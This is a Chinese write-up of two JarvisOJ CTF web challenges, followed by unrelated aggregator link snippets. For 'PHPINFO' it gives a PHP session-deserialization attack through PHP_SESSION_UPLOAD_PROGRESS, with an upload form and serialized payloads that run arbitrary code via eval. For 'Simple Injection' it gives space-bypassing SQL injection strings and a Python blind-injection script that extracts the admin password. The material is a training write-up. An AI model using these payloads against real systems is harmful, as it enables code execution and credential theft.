JarvisOJ平台Web题目简单部分writeup

PHPINFO

题目地址:http://web.jarvisoj.com:32784/
访问网址,页面显示:

<?php
//A webshell is wait for you
ini_set(‘session.serialize_handler‘, ‘php‘);
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = ‘phpinfo();‘;
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET[‘phpinfo‘]))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents(‘index.php‘));
}
?>

看到PHP代码中的ini_set(‘session.serialize_handler‘, ‘php‘)就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。
在本地创建myindex.php

<?php
ini_set(‘session.serialize_handler‘, ‘php_serialize‘);
session_start();
class OowoO
{
    public $mdzz=‘需要设置方法‘;
    function __construct()
    {
        // $this->mdzz = ‘phpinfo();‘;
    }

    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new OowoO();
echo serialize($obj);

可以看到最后的结果输出了spoock,说明上述的测试是成功的。
接下来就需要获取flag了。
获取项目路径:
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下:

得到项目路径是在opt/lampp/htdocs

获取文件列表
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是:

发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php

读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
显示结果为:

最后就得到flag了。

Simple Injection

本题

尝试使用 username=admin&password=123456 ,页面返回 密码错误 
尝试使用 username=user&password=123456 ,页面返回 用户名错误 
那么就说明验证方式是采用的用户名和密码分步验证的。

想法验证

  • 使用 username=admin‘#&password=123456 ,页面返回 密码错误 ,说明后台没有对 # 和  进行过滤。
  • 使用 username=admin‘ or 1=1#&password=123456 ,页面返回 用户名错误 ,上面后台对 admin‘ or 1=1# 中的部分内容进行了过滤。过滤的内容有可能是 or 也有可能是空格。
  • 使用 username=user‘/**/or/**/1=1#&password=123456 ,页面返回 密码错误 ,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
  • 总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了

PoC

整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章。

  • 查找表 , username=user‘/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,那么就说明在数据库中存在 admin 表
  • 查找字段 username=user‘/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中存在 username 和 password 字段。
  • username=user‘/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中仅仅只存在一条记录,接下来就好办了
  • 得到password长度 , username=user‘/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456 ,通过二分试探法,最终发现 password 的字段长度是32位,说明可能采用的是 md5 的方式来进行加密的。

在确定了password的长度之后,接下来就是利用Python来进行爆破了。

我用的是like匹配盲注

#coding:utf8
import requests
postData={
"username":"‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘{0}%‘)#",
"password":"123456"
}
str1 = "‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘"
str2 = "{0}%‘)#"
chars = ‘0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz‘
test = []
for x in range(1,33):#控制位数
    for char in chars:
        postData[‘username‘] = str1+str2.format(char)
        txt = requests.post("http://web.jarvisoj.com:32787/login.php",data=postData).content
        if len(txt)==1202:
            test.append(char)
            str1 = str1+char
            print char
print test
时间: 2024-10-20 19:48:11

JarvisOJ平台Web题目简单部分writeup的相关文章

[转]C#开发微信公众平台-就这么简单

本文转自:http://www.it165.net/pro/html/201403/11102.html 写在前面 服务号和订阅号 URL配置 创建菜单 查询.删除菜单 接受消息 发送消息(图文.菜单事件响应) 示例Demo下载 后记 最近公司在做微信开发,其实就是接口开发,网上找了很多资料,当然园友也写了很多教程,但都是理论说了一大堆,实用指导或代码很少.如果你自己仔细研究下,其实就那么点东西,C#实现起来也很简单,原本不想写这篇文章的,但是本人当时摸索走了很多弯路,这边总结下,希望初次接触微

《Go语言入门》第一个Go语言Web程序——简单的Web服务器

概述 上一篇讲了 <Go语言入门>第一个Go语言程序--HelloWorld,接下来讲一下Go语言Web开发入门必修课:第一个Go语言Web程序--简单的Web服务器. 与其它Web后端语言不同,Go语言需要自己编写Web服务器. 有关本地环境的搭建与基础学习,请参考: <Go语言入门>如何在Windows下安装Go语言编程环境 Go语言Web应用:IBM的云平台Bluemix使用初体验--创建Go语言 Web 应用程序,添加并使用语言翻译服务 Web服务器代码 Google在ht

南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup

南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup 题目描述 文件下载地址 很明显,文件之间进行亦或就可得到flag,不再多说,直接上脚本 1 #coding:utf-8 2 file_a = open('密文.txt', 'rb') 3 file_b = open('明文.txt', 'rb') 4 ? 5 str_a = ''.join(file_a.readlines()) 6 str_b = ''.join(file_b.readlines()) 7 ? 8 ans =

Web API 简单示例

原文:Web API 简单示例 一.RESTful和Web API Representational State Transfer (REST) is a software architecture style consisting of guidelines and best practices for creating scalable web services. REST is a coordinated set of constraints applied to the design o

Web Services简单介绍

Web Services简单介绍 Web Services入门 一.Web Services简介 1.什么是Web Services? Web Services 是应用程序组件 Web Services 使用开放协议进行通信 Web Services 是独立的(self-contained)并可自我描述 Web Services 可通过使用UDDI来发现 Web Services 可被其他应用程序使用 XML 是 Web Services 的基础 2.它如何工作? 基础的 Web Service

《Python入门》第一个Python Web程序——简单的Web服务器

上一篇讲了<Python入门>Windows 7下Python Web开发环境搭建笔记,接下来讲一下Python语言Web服务的具体实现:第一个Python Web程序--简单的Web服务器. 与其它Web后端语言不同,Python语言需要自己编写Web服务器. 如果你使用一些现有的框架的话,可以省略这一步: 如果你使用Python CGI编程的话,也可以省略这一步: 用Python建立最简单的web服务器 利用Python自带的包可以建立简单的web服务器.在DOS里cd到准备做服务器根目录

微信公众平台之超简单实用的天气预报后台实现

微信公众平台之超简单实用的天气预报后台实现 概述,前段时间我在开发一个自己的微信公众平台,需要实现天气预报功能,在网上度娘了下,实现天气预报的接口API还蛮多的,有:中国气象局.雅虎和新浪等,中国天气预报接口需要全国的编码,雅虎的有时候访问不了,研究了下还是新浪提供的接口比较简单实用.新浪天气预报API的URL是http://php.weather.sina.com.cn/xml.php?city=%B1%B1%BE%A9&password=DJOYnieT8234jlsK&day=0.其

虚拟化技术之KVM平台部署及简单应用

前言  KVM即Kernel Virtual Machine,最初是由以色列公司Qumranet开发.2007年2月被导入Linux 2.6.20核心中,成为内核源代码的一部分.2008年9月4日,Redhat收购了Qumranet,至此Redhat拥有了自己的虚拟化解决方案,之后便舍弃Xen开始全面扶持KVM,从RHEL6开始KVM便被默认内置于内核中.本文介绍KVM虚拟化平台部署及管理. KVM简介KVM特点  KVM必须在具备Intel VT或AMD-V功能的x86平台上运行.KVM包含一

Service系统服务(一):安装一个KVM服务器、KVM平台构建及简单管理、virsh基本管理操作、xml配置文件的应用、为虚拟机制作快照备份、快建新虚拟机

一.安装一个KVM服务器 目标: 本例要求准备一台 RHEL7.2 服务器,将其搭建为KVM平台,主要完成下列操作: 1> 关闭本机的SELinux保护.防火墙服务   2> 挂载RHEL7光盘到 /mnt/dvd,将其配置为本机YUM源(baseurl = file:///mnt/dvd)   3> 安装KVM相关包组,确保已启用 libvirtd 服务 方案: RHEL7中的虚拟化服务软件组: 1> 虚拟化平台 -- "Virtualization Platform&